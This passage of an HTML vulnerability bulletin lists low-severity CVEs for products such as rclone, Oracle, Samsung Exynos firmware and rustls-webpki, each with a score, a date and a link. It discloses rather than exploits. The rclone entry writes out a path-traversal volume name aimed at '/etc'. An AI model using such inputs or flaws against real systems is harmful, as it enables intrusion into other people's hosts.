&lt;td class=&quot;vendor-product&quot;&gt;olivier-ls--PHP-FTS&lt;/td&gt;
&lt;td&gt;A flaw has been found in olivier-ls PHP-FTS up to 1.1.2. Affected by this issue is the function SearchEngine::buildHighlights of the file src/SearchEngine.php of the component Search Engine. Executing a manipulation of the argument Query can lead to cross site scripting. The attack may be launched remotely. The exploit has been published and may be used. Upgrading to version 1.1.3 can resolve this issue. This patch is called 0b2fae333d6b022da7ed4c43e2d41aa03f91dff3. The affected component should be upgraded. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93956&quot; target=&quot;_blank&quot;&gt;CVE-2026-93956&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--ClawScan&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in OpenClaw ClawScan up to 0.1.6. The impacted element is the function IsBinaryFile of the file internal/runner/static_scanner.go of the component File Classifier. The manipulation results in interpretation conflict. Attacking locally is a requirement. The exploit is now public and may be used. Upgrading to version 0.1.7 is sufficient to resolve this issue. The patch is identified as 04401337b3adb9343bd338b21e5e258bf49ca9c8. You should upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;2.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91835&quot; target=&quot;_blank&quot;&gt;CVE-2026-91835&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--ClawScan&lt;/td&gt;
&lt;td&gt;A flaw has been found in OpenClaw ClawScan up to 0.1.6. This affects an unknown function of the file internal/runner/static_scanner.go of the component Static Scanner. This manipulation causes incomplete comparison with missing factors. It is possible to launch the attack on the local host. The exploit has been published and may be used. Upgrading to version 0.1.7 mitigates this issue. Patch name: 9f6a6fbb9f1137345566d0ab44c73893dfe112fa. The affected component should be upgraded.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;2.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91836&quot; target=&quot;_blank&quot;&gt;CVE-2026-91836&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Openpanel-dev--openpanel&lt;/td&gt;
&lt;td&gt;OpenPanel through commit bad75bdd writes Model Context Protocol authentication tokens from URL query parameters to plaintext application logs without redaction. Attackers with access to application stdout or centralized logging systems can capture base64-encoded credentials to replay MCP requests and access project analytics.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93982&quot; target=&quot;_blank&quot;&gt;CVE-2026-93982&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenZeppelin--contracts-wizard&lt;/td&gt;
&lt;td&gt;OpenZeppelin Contracts Wizard is a web application to interactively build a contract out of components from OpenZeppelin Contracts. Prior to @openzeppelin/wizard 0.10.11, @openzeppelin/wizard-cairo 3.0.1, @openzeppelin/wizard-stellar 0.6.2, and @openzeppelin/wizard-stylus 0.3.1, the setInfo code path prints info.securityContact and info.license verbatim into single-line comments in generated Solidity, Cairo, Stellar/Soroban, and Stylus source. A line terminator ends the comment and causes following input to be emitted as source declarations. Exploitation requires an integration to populate these fields from untrusted input and a user to consume the generated source; normal self-service web, AI assistant, CLI, and self-hosted API use does not cross that trust boundary, shared links cannot set the fields, and no code executes on a Wizard service. This issue affects generated-source integrity only and is fixed in versions 0.10.11, 3.0.1, 0.6.2, and 0.3.1 of the respective packages.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57583&quot; target=&quot;_blank&quot;&gt;CVE-2026-57583&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Access Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Access SDK). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Access Manager. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Access Manager. CVSS 3.1 Base Score 3.1 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83369&quot; target=&quot;_blank&quot;&gt;CVE-2026-83369&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Coherence&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core). The supported version that is affected is 15.1.1.0.0. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Coherence executes to compromise Oracle Coherence. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle Coherence accessible data. CVSS 3.1 Base Score 2.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;2.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83414&quot; target=&quot;_blank&quot;&gt;CVE-2026-83414&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Coherence&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Difficult to exploit vulnerability allows high privileged attacker with logon to the infrastructure where Oracle Coherence executes to compromise Oracle Coherence. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Coherence accessible data. CVSS 3.1 Base Score 1.9 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;1.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83413&quot; target=&quot;_blank&quot;&gt;CVE-2026-83413&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle VM VirtualBox&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle VM VirtualBox accessible data. CVSS 3.1 Base Score 3.2 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;3.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87281&quot; target=&quot;_blank&quot;&gt;CVE-2026-87281&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle VM VirtualBox&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Oracle VM VirtualBox. CVSS 3.1 Base Score 3.2 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;3.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87284&quot; target=&quot;_blank&quot;&gt;CVE-2026-87284&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oraios AI--Serena&lt;/td&gt;
&lt;td&gt;In Oraios AI Serena before 1.0.0, the listen address of the MCP server in HTTP mode is 0.0.0.0. NOTE: the Supplier observed that 0.0.0.0 was a &quot;potential security hazard&quot; but the Serena documentation, at the time of the issue report proposing 127.0.0.1 instead of 0.0.0.0, recommended &quot;use a sandboxed environment for running Serena.&quot;&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-38924&quot; target=&quot;_blank&quot;&gt;CVE-2026-38924&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Paessler--PRTG Network Monitor&lt;/td&gt;
&lt;td&gt;PRTG Network Monitor before 23.1.82 allows remote attackers to write to files via the HTTP XML/REST Sensor.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-22631&quot; target=&quot;_blank&quot;&gt;CVE-2023-22631&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Paessler--PRTG Network Monitor&lt;/td&gt;
&lt;td&gt;PRTG Network Monitor before 23.1.82 allows remote attackers to write to files via the FTP Server Count Sensor.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-22632&quot; target=&quot;_blank&quot;&gt;CVE-2023-22632&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PbootCMS--PbootCMS&lt;/td&gt;
&lt;td&gt;A weakness has been identified in PbootCMS up to 3.2.22. This affects the function decode_string of the file apps/admin/controller/content/ContentController.php of the component Template Rendering. This manipulation of the argument Title causes cross site scripting. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The reported GitHub issue was closed with the reason &quot;completed&quot;.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92381&quot; target=&quot;_blank&quot;&gt;CVE-2026-92381&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHPGurukul--Blood Donor Management System&lt;/td&gt;
&lt;td&gt;A weakness has been identified in PHPGurukul Blood Donor Management System 1.0. Affected by this issue is some unknown functionality of the file application/models/admin/Login_Model.php. This manipulation of the argument password/email/currentpassword/dbcurrentpwd/newpassword causes cleartext storage in a file or on disk. The attack may be initiated remotely. A high degree of complexity is needed for the attack. The exploitation is known to be difficult. The exploit has been made available to the public and could be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90842&quot; target=&quot;_blank&quot;&gt;CVE-2026-90842&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHPGurukul--Daily Expense Tracker System&lt;/td&gt;
&lt;td&gt;A flaw has been found in PHPGurukul Daily Expense Tracker System 1.1. This issue affects some unknown processing of the file /dets/includes/sidebar.php. Executing a manipulation of the argument FullName can lead to cross site scripting. The attack can be executed remotely. The exploit has been published and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90845&quot; target=&quot;_blank&quot;&gt;CVE-2026-90845&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHPGurukul--Hostel Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in PHPGurukul Hostel Management System 3.0. Affected by this issue is some unknown functionality of the file /admin/manage-students.php. The manipulation results in cross site scripting. The attack may be launched remotely. The exploit is now public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;2.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90850&quot; target=&quot;_blank&quot;&gt;CVE-2026-90850&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rclone--rclone&lt;/td&gt;
&lt;td&gt;rclone before 1.75.1 fails to confine names from server and third-party listing responses to the listed directory, allowing path traversal sequences in object names. Attackers can craft special names containing forward slashes and parent directory references to potentially write outside the destination root, though downstream protections in the local backend currently block actual file escape.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93986&quot; target=&quot;_blank&quot;&gt;CVE-2026-93986&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rclone--rclone&lt;/td&gt;
&lt;td&gt;rclone versions 1.56.0 through 1.75.0 contain a path traversal vulnerability in the `rclone serve docker` volume plugin. newVolume() in cmd/serve/docker/volume.go computes a volume&#039;s mountpoint as filepath.Join(drv.root, name) from the attacker-supplied `name` field of a Docker VolumeDriver.Create request without verifying that the result stays within drv.root (default /var/lib/docker-volumes/rclone), and checkMountpoint() then creates that directory with file.MkdirAll before mounting. A volume name containing enough `..` components (e.g. &quot;../../../../../../etc&quot;) therefore resolves outside the base directory, allowing anyone able to submit a VolumeDriver.Create request to the plugin socket - normally the Docker daemon, or a workload that can request named volumes in a multi-tenant orchestration setup - to make the privileged rclone plugin process create a directory and mount a remote filesystem specified in the same request at an arbitrary host path, shadowing or disrupting system directories. The advisory notes Volume.restoreState() had the same missing validation when reloading persisted volume state. Fixed in 1.75.1.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;3.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93987&quot; target=&quot;_blank&quot;&gt;CVE-2026-93987&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in Cockpit. An integer overflow vulnerability in the `do_lastlog()` function, specifically in the offset calculation for `lastlog` entries on ILP32 (Integer, Long, Pointer 32-bit) builds, can be exploited. A low-privileged authenticated user with a specially provisioned large User ID (UID) can cause the computed offset to wrap around. This allows the user to perform unauthorized reads and writes to other users&#039; `lastlog` records, potentially disclosing or altering sensitive login accounting information.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91142&quot; target=&quot;_blank&quot;&gt;CVE-2026-91142&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;xdg-dbus-proxy incorrectly filters D-Bus broadcast messages, bypassing configured path, interface, and member restrictions. This allows a sandboxed Flatpak application to intercept broadcast signals on the D-Bus session bus and AT-SPI bus that should be restricted, potentially exposing sensitive information to unauthorized applications.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93676&quot; target=&quot;_blank&quot;&gt;CVE-2026-93676&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 8&lt;/td&gt;
&lt;td&gt;A flaw was found in gss-ntlmssp. A memory leak occurs in the NTLM target-info parser when a crafted NTLM CHALLENGE message contains duplicated string-valued AV_PAIR entries. The parser allocates memory for each string value but does not free the previous allocation when the same AV_PAIR type appears more than once, leaking the earlier allocation. A malicious or man-in-the-middle server can exploit this to cause gradual memory exhaustion on the client during NTLM authentication, leading to a denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91926&quot; target=&quot;_blank&quot;&gt;CVE-2026-91926&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Robokassa payment gateway for Woocommerce--Robokassa payment gateway for Woocommerce&lt;/td&gt;
&lt;td&gt;The Robokassa payment gateway for Woocommerce WordPress plugin before 1.8.9 does not verify the authenticity of incoming payment notifications when its non-default deferred-payment feature is enabled, allowing unauthenticated attackers to forge a notification and mark arbitrary WooCommerce orders as paid or on-hold without payment or a valid signature.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91017&quot; target=&quot;_blank&quot;&gt;CVE-2026-91017&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rustls--webpki&lt;/td&gt;
&lt;td&gt;rustls-webpki (rustls/webpki) versions 0.101.0 through 0.103.11 and 0.104.0-alpha releases before 0.104.0-alpha.6 ignore X.509 name constraints that apply to URI names, causing such constraints to be accepted rather than enforced. Because name constraints are restrictions on otherwise properly issued certificates, the flaw is only reachable after successful signature verification and requires a misissued certificate to exploit; the library also provides no API for asserting URI names, and URI name constraints are otherwise unimplemented. Versions 0.103.12 and 0.104.0-alpha.6 reject URI name constraints unconditionally.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;2.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93600&quot; target=&quot;_blank&quot;&gt;CVE-2026-93600&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rustls--webpki&lt;/td&gt;
&lt;td&gt;rustls-webpki (the Rust webpki fork used by rustls) versions &amp;gt;= 0.101.0 and prior to 0.103.12 and 0.104.0-alpha.6 incorrectly accepted permitted-subtree DNS name constraints for certificates asserting a wildcard name. For example, a name constraint of accept.example.com was treated as satisfied by a certificate for *.example.com, which could feasibly assert reject.example.com - a name outside the permitted subtree. Because name constraints are restrictions applied to otherwise properly issued certificates, the issue is only reachable after signature verification succeeds and requires a misissued wildcard certificate to exploit.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;2.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93601&quot; target=&quot;_blank&quot;&gt;CVE-2026-93601&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Saleor--Saleor&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in Saleor up to 3.20.118/3.21.54/3.22.47/3.23.14. This vulnerability affects the function get_client_ip of the file saleor/account/throttling.py. Executing a manipulation can lead to improper restriction of excessive authentication attempts. The attack can be executed remotely. The attack requires a high level of complexity. It is stated that the exploitability is difficult. The exploit has been publicly disclosed and may be utilized. The projects own issue #19203 internal ticket admits &quot;IP can be spoofed in most deployments&quot; and that its REAL_IP_ENVIRON-type setting bypasses get_client_ip; fix (right-to-left RFC 7239 hop selection) proposed but still unmerged. The vendor explains within an email, that &quot;[t]his is not a vulnerability, this is working at intended, Saleor expects XFF to be configured properly&quot;.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93650&quot; target=&quot;_blank&quot;&gt;CVE-2026-93650&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 1280 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in DPU in Samsung Mobile Processor Exynos 1280, 2200, 1380, 1480, 2400, 1580, 2500, 1680, and 2600. A TOCTOU race condition in the Exynos DRM HDR Driver leads to a heap overflow, causing a kernel crash.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-23786&quot; target=&quot;_blank&quot;&gt;CVE-2026-23786&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 1330 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in Samsung Mobile Processor Exynos 1330, 1380, 1480, and 2400. An out-of-bounds memory access vulnerability in the camera GDC driver may lead to kernel memory corruption under certain conditions.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-23793&quot; target=&quot;_blank&quot;&gt;CVE-2026-23793&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 1330 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in camera in Samsung Mobile Processor Exynos 1330, 1380, 1480, 2400, 1580, and 2500. Sending a malformed message to the test_msg sysfs entry causes an out-of-bounds write, leading to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-33956&quot; target=&quot;_blank&quot;&gt;CVE-2026-33956&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 1330 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in Samsung Mobile Processor and Wearable Processor Exynos 1330, 1380, 1480, 1580, 1680, W920, W930, and W1000. . A malformed ioctl command to the Wi-Fi interface device can lead to improper buffer size allocation, resulting in an out-of-bounds write and causing a denial of service (DoS).&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-33960&quot; target=&quot;_blank&quot;&gt;CVE-2026-33960&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 1330 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in camera in Samsung Mobile Processor Exynos 1330, 1380, 1480, 2400, 1580, 2500, 2600, and 1680. An information Leak occurs in the camera driver due to Insertion of Sensitive Information Into Debugging Code.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-33966&quot; target=&quot;_blank&quot;&gt;CVE-2026-33966&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 1330 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in camera in Samsung Mobile Processor Exynos 1330, 1380, 1480, 2400, 1580, 2500, 2600, and 1680. In the camera driver, an out-of-bounds array access vulnerability in the error-handling path leads to memory corruption.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-33967&quot; target=&quot;_blank&quot;&gt;CVE-2026-33967&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 1330 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in camera in Samsung Mobile Processor Exynos 1330, 1380, 1480, 2400, 1580, 2500, 2600, and 1680. In the camera driver, a Time-of-Check Time-of-Use (TOCTOU) race condition leads to out-of-bounds access.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-33968&quot; target=&quot;_blank&quot;&gt;CVE-2026-33968&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 850 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in NR RRC and L2 in Samsung Mobile Processor, Wearable Processor, and Modem Exynos 850, 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 1580, 2500, 1680, W920, W930, W1000, and Modem 5410. In the 5G baseband, a NULL Pointer Dereference occurs when processing a malformed RRC Reconfiguration message.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-33970&quot; target=&quot;_blank&quot;&gt;CVE-2026-33970&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 850 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in Samsung Exynos Mobile Processor, Automotive Processor, and Modem Exynos 9810, Exynos 9610, Exynos 9820, Exynos 980, Exynos 850, Exynos 1080, Exynos 2100, Exynos 2200, Exynos 1280, Exynos 1380, Exynos 1330, Exynos 9110, Exynos W920, Exynos Modem 5123, Exynos Modem 5300, an Exynos Auto T5123. In the Shannon SM Task, improper handling of a loop with an unreachable exit condition cannot guarantee the termination of a required service via a malformed SM message.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-37366&quot; target=&quot;_blank&quot;&gt;CVE-2023-37366&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 850 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in Wi-Fi in Samsung Mobile Processor Exynos 850, 1280, 1330, 1380, 1480, 2400, W920, and W930. A malformed Netlink command can trigger an out-of-bounds read, potentially leading to information leakage.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-33962&quot; target=&quot;_blank&quot;&gt;CVE-2026-33962&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SerenityOS--SerenityOS&lt;/td&gt;
